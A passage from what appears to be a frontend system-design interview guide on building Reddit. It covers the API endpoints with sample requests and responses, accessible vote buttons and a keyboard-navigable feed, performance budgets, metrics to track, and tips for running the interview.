  createdAt: string;
  state: "live" | "removed" | "filtered" | "deleted";
  locked: boolean;               // no new comments; independent of state
};
type PostViewer = { vote: 1 | 0 | -1; saved: boolean; hidden: boolean; canModerate: boolean };
type ListingKey = { community: string; sort: "hot" | "new" | "top" | "rising" | "controversial"; t?: "hour" | "day" | "week" | "month" | "year" | "all" };

The API

The page server and the islands call the same backend for frontend. Listings return public data only; a second call returns viewer data for the ids on screen, so the listing response can be cached and shared:

GET  /api/r/cooking/listing?sort=top&t=week&limit=25&after=t3_1abc2d
200  { "posts": [Post], "after": "t3_1abd9x", "before": null }
     Cache-Control: public, s-maxage=30

POST /api/viewer/posts        { "ids": ["t3_1abc7q", "t3_1abd01"] }
200  { "t3_1abc7q": { "vote": 1, "saved": false, ... } }
     Cache-Control: private, no-store

POST /api/vote                { "id": "t3_1abc7q", "dir": 0 }
204  | 429 Retry-After: 4 | 403 { "error": "ARCHIVED" }

POST /api/unfurl              { "url": "https://example.com/hollandaise" }
200  { "title": "...", "image": { "assetId": "img_9f3" }, "alreadyPostedIn": ["r/cooking"] }

POST /api/submit              Idempotency-Key: 6f1c...
     { "community": "t5_2qh1e", "kind": "gallery", "title": "...",
       "assets": ["img_1", "img_2"], "flairId": "fl_3", "nsfw": false, "spoiler": false }
201  { "id": "t3_1abe44", "url": "/r/cooking/comments/1abe44/...", "state": "filtered",
       "notice": "Your post is waiting for moderator review." }

POST /api/mod/action          { "ids": ["t3_1abe44"], "action": "remove", "reasonId": "r3" }
200  { "results": { "t3_1abe44": { "ok": false, "error": "ALREADY_REMOVED", "by": "u/sam" } } }

• Errors carry a stable code (ARCHIVED, RATE_LIMITED, FLAIR_REQUIRED, ALREADY_REMOVED) and a human message. The client maps codes to UI; it never parses the message.
• Submit is idempotent through Idempotency-Key: a retry after a timeout returns the same post instead of creating a duplicate.
• Submit returns the post's state: a filtered post comes back with a notice, so the composer can tell the author right away.
• Archived posts (old threads closed to new votes and comments) return 403 ARCHIVED; the client shows disabled arrows with a tooltip ahead of time, using the archived flag on the post.

Accessibility, performance, and what to measure

Vote buttons that announce their state

Arrows are icons, so they need names, and they are toggles, so they need state. Two real button elements with aria-pressed do both. A screen reader then says "Upvote, toggle button, pressed", and the state is right on page load because the server renders it.

<div role="group" aria-label="Vote on: How do I fix split hollandaise?">
  <button type="button" aria-pressed="true" aria-label="Upvote">
    <svg aria-hidden="true">...</svg>
  </button>
  <span>812</span>
  <button type="button" aria-pressed="false" aria-label="Downvote">
    <svg aria-hidden="true">...</svg>
  </button>
</div>

• Why not radio buttons, like the Poll widget guide uses? A poll picks one option and submits it with a Vote button. A vote has a third state, none, reached by pressing the active arrow again, and native radios can't be unchecked that way. Two toggle buttons model up, none, and down directly.
• Don't put the score in an aria-live region. On a listing, every vote and every refetch would interrupt the reader. The pressed state already confirms the action; the score is read when the reader moves to it.
• Pressed and unpressed must differ by more than color: a filled versus outlined arrow, so color-blind readers and forced-colors mode see the state.
• On a rollback, move nothing and steal no focus. Announce "Vote not saved" once in a polite live region, and the arrow returns to its old state.
• Arrows are at least 24 by 24 CSS pixels, the WCAG 2.2 minimum target size, and larger on touch screens.

A listing you can move through by keyboard

An endless listing is hard to use without a mouse: there is no last item to Tab to, new cards arrive while you move, and the footer keeps running away. The WAI-ARIA feed pattern and a few shortcuts fix most of it.

• Each post is an article labelled by its title. The listing follows the WAI-ARIA feed pattern: role="feed", aria-busy="true" while a page loads, and aria-posinset and aria-setsize on each article (-1 when the total is unknown).
• Shortcuts for power users: j and k move between posts, a and z vote, Enter opens. They are off while typing in a field, and listed in a help dialog opened with ?.
• Infinite loading never moves focus. A polite live region says "25 more posts loaded". Footer links (help, terms) live in the sidebar or a menu, because an endless list makes a page footer unreachable.
• Comment collapse is a button with aria-expanded; the Comments thread guide covers threads in depth.
• Theme colors pass through the contrast repair from the theming chapter, including the focus ring, which needs 3 to 1 against the background.
• Vote and expand animations are skipped when prefers-reduced-motion: reduce is set.

Performance budgets

• Prefetch the post page data when a card is hovered for 100 ms or touched (pointerdown), so the tap feels instant.
• Virtualize long sessions: a reader 600 posts deep should not keep 600 cards with media in the DOM. The Infinite scroll and News feed guides cover it.
• System fonts for body text avoid a font download on the critical path.

What to measure

• Real-user Core Web Vitals split by page type (post, listing) and by signed-in versus guest.
• Duplicates dropped per page and empty-page retries: a rise means cursor or caching trouble.
• Vote rollback rate and 429 rate: a rise means the API is struggling or limits are too tight.
• Theme repairs per community: how often moderators pick colors that fail contrast, to improve the settings UI.
• Search landing bounce rate before and after any change to prompts or interstitials.

Running it in the interview

"Design Reddit" is huge, and the trap is spending 20 minutes on the comment tree or a generic feed. Say early that you will treat those as known patterns and spend the time on what makes Reddit different: communities, ranked listings, votes, untrusted content, and search visitors.

Follow-up questions and strong answers

Interviewers usually push on one area after the overview. These four come up often. Try answering each before you open the model answer.